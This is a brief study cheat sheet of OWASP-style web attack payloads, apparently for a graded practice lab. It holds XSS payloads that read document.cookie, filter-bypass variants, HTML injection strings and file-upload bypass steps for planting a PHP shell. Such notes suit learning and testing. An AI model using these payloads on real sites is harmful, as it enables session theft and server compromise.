**Owasp vulnerabilities:**

**1]html injection:**

-low: <h1>hi</h1>

-medium: %3c%48%31%3e%46%6c%61%67%78%3c%2f%48%31%3e

(url encoded)

**2]xss:**

-low: <script>alert(document.cookie)</script>

<SCRIPT>alert(document.cookie)</SCRIPT>

//if pregmatch on script

-medium:

<SCR<script>IPT>alert(document.cookie)</SCR<script>IPT>

//if pregreplace on script

<img src=”s” onerror=alert(document.cookie) />

**3]file upload:**

-low: upload the file and change the content-type: to image/png

-medium: upload the file and change the content-type: to image/png

And change the extension to shell.png.php

-hight:upload the file as shell.png and use the command injection to rename the file to shell.php